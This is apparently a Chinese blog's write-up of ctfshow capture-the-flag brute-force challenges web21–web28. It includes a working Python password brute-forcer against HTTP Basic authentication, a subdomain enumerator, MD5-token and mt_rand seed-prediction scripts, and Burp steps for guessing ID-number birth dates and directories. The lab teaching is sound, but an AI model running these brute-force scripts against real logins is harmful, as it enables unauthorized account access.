ctfshow web入门 爆破

目录

web21

web22

web23

web24

web25

web26

web27

web28


web21

custom iterator

随便输入一个密码,然后抓包,会是这样

ctfshow web入门 爆破

会发现一个base64编码,解码发现它的形式为——admin:密码

所以在这个时候,我们要用自定义迭代器

ctfshow web入门 爆破

第一段为admin

ctfshow web入门 爆破

第二段为“:”

ctfshow web入门 爆破

第三段为题目附件下载的密码

ctfshow web入门 爆破

特别注意的是,要进行base64加密

ctfshow web入门 爆破

而且不能进行字符url编码,因为,在base64加密后,会有=,进行url编码可能出现错误

ctfshow web入门 爆破

爆破完成!!!得到flag了

ctfshow web入门 爆破

第二个hint也提供了python的脚本,也可以用python跑出来的

# -*- coding: utf-8 -*- # @Author: h1xa # @Date:   2020-11-20 19:16:49 # @Last Modified by:   h1xa # @Last Modified time: 2020-11-20 20:28:42 # @email: h1xa@ctfer.com # @link: https://ctfer.com ​ import time import requests import base64 ​ url = 'http://41a801fe-a420-47bc-8593-65c3f26b7efa.chall.ctf.show/index.php' ​ password = [] ​ with open("1.txt", "r") as f:       while True:         data = f.readline()          if data:             password.append(data)         else:           break          ​ ​ for p in password:     strs = 'admin:'+ p[:-1]     header={         'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))     }     rep =requests.get(url,headers=header)     time.sleep(0.2)     if rep.status_code ==200:         print(rep.text)         break   

web22

域名爆破

http://z.zcjun.com/,但是这个题没有爆出来,

在看别人的wp也有用脚本的,

#用法: python3 subdomain.py xxxx.com ​ import socket import sys ​ domain = sys.argv[1]  ​ with open('subdomain.txt','r') as f:     for i in f:         i = i.strip()#去空         subdomain = i + '.'+domain         try:             ip = socket.gethostbyname(subdomain)             print("33[1;32;40m %s 33[0m" % (subdomain+'   '+ip))         except Exception as e:             pass ​

然后查看了hint,直接访问http://flag.ctfer.com/index.php,得到flag

flag{ctf_show_web}

web23

源码如下

<?php ​ /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date:   2020-09-03 11:43:51 # @Last Modified by:   h1xa # @Last Modified time: 2020-09-03 11:56:11 # @email: h1xa@ctfer.com # @link: https://ctfer.com ​ */ error_reporting(0); ​ include('flag.php'); if(isset($_GET['token'])){     $token = md5($_GET['token']);     if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){         if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){             echo $flag;         }     } }else{     highlight_file(__FILE__); ​ } ?>

我直接偷的大佬们的代码,自己还不会写

<?php  error_reporting(0);  ​ $a="asdfghjklqwertyuiopzxcvbnm1234567890"; for($i=0;$i<36;$i++){     for($j=0;$j<36;$j++){         $token=$a[$i].$a[$j];             $token = md5($token);          if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){              if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){                  echo $a[$i].$a[$j];                 exit(0);             }          }      } }  ?>   import itertools import hashlib ​ zimu = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' for i in itertools.product('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890', repeat=3):     blast = ''.join(i)     md5_ins = hashlib.md5((str(blast)).encode('utf-8'))     md5 = md5_ins.hexdigest()     if md5[1:2] not in zimu and md5[1:2] == md5[14:15] and md5[14:15] == md5[17:18] and md5[31:32] == '3':         print('1:',blast,':',md5) ​

运行后为3j

ctfshow web入门 爆破

然后直接传递token=3j即可得到flag

web24

mt_scrand(seed)这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机 数。 提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数 因此不需要播种,并且如果设置了 seed参数 生成的随机数就是伪随机数,意思就是每次生成的随机数 是一样的

源码如下

<?php ​ /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date:   2020-09-03 13:26:39 # @Last Modified by:   h1xa # @Last Modified time: 2020-09-03 13:53:31 # @email: h1xa@ctfer.com # @link: https://ctfer.com ​ */ ​ error_reporting(0); include("flag.php"); if(isset($_GET['r'])){     $r = $_GET['r'];     mt_srand(372619038);     if(intval($r)===intval(mt_rand())){         echo $flag;     } }else{     highlight_file(__FILE__);     echo system('cat /proc/version'); }

php的伪随机数,

<?php mt_srand(372619038); echo(mt_rand()); ?>

在kali上运行得到结果为1155388967

ctfshow web入门 爆破

传递?r=1155388967可得flag

web25

emmm,我太菜了

本人能力有限,看了大佬的wp也没有做出来

后期会更加勤奋学习,补上的!!!

web26

首先是一个大页面

ctfshow web入门 爆破

然后是一个管理系统安装

ctfshow web入门 爆破

也告诉了我们所有的ctfshow web入门 爆破

字典就用简单弱口令的字典就能爆出来

ctfshow web入门 爆破

web27

emm,这个题感觉好有趣

首先是一个教务系统的页面,需要输入学号和密码

ctfshow web入门 爆破

然后我们继续找信息,有一个录取名单我们下载打开一下

ctfshow web入门 爆破

我们得到了一个名单,也不知道是干啥的,然后我们打开查询系统

ctfshow web入门 爆破

我们就知道了,录取名单有姓名和身份证号

但是吧,身份证号有隐藏部分,这里加一下身份证号的小知识,简单了解一下

1.2位表示省(自治区、直辖市、特别行政区)。 3.4位表示市(地级市、自治州、地区、盟及直辖市所属区和县的汇总码) 5.6位表示县(区、县级市、旗) 7-14(身份证号码第七位到第十四位)表示编码对象出生的年、月、日, 15.16位表示所在地的派出所的代码。 17位标识性别:奇数表示男性,偶数表示女性。 18位为校验码

然后这里隐藏的部分就是出生的日期,然后我们抓包进行爆破

特别注意:这个页面有点问题,火狐会抓不全包,POST参数会抓不到,我们可以在别的浏览器查看,也可以直接用别浏览器进行抓包!!!

ctfshow web入门 爆破

yyyyMMdd表示xxxx年xx月xx日

在其中yyyyMMdd为日期格式化就是年-月-日的意思,

再补充一下,类似这种的还有HH:mm:ss——时:分:秒

然后下面可以添加add prefix和add suffix

ctfshow web入门 爆破

然后直接爆破

ctfshow web入门 爆破

爆出来得到了身份证号,将编码解码一下,unicode转中文

ctfshow web入门 爆破

我们可以知道了学号为02015237,密码为621022199002015237

然后我们返回最初的登录页面,登录,得到flag

ctfshow web入门 爆破

web28

爆破目录

看一下题目提示

ctfshow web入门 爆破

我们直接抓包,然后选择cluster bomb

ctfshow web入门 爆破

然后爆出来了

ctfshow web入门 爆破

做了ctfshow爆破的题目,真的有收获,会了一些其他爆破姿势,奈斯!

版权声明:玥玥 发表于 2021-08-14 18:30:08。
转载请注明:ctfshow web入门 爆破 | 女黑客导航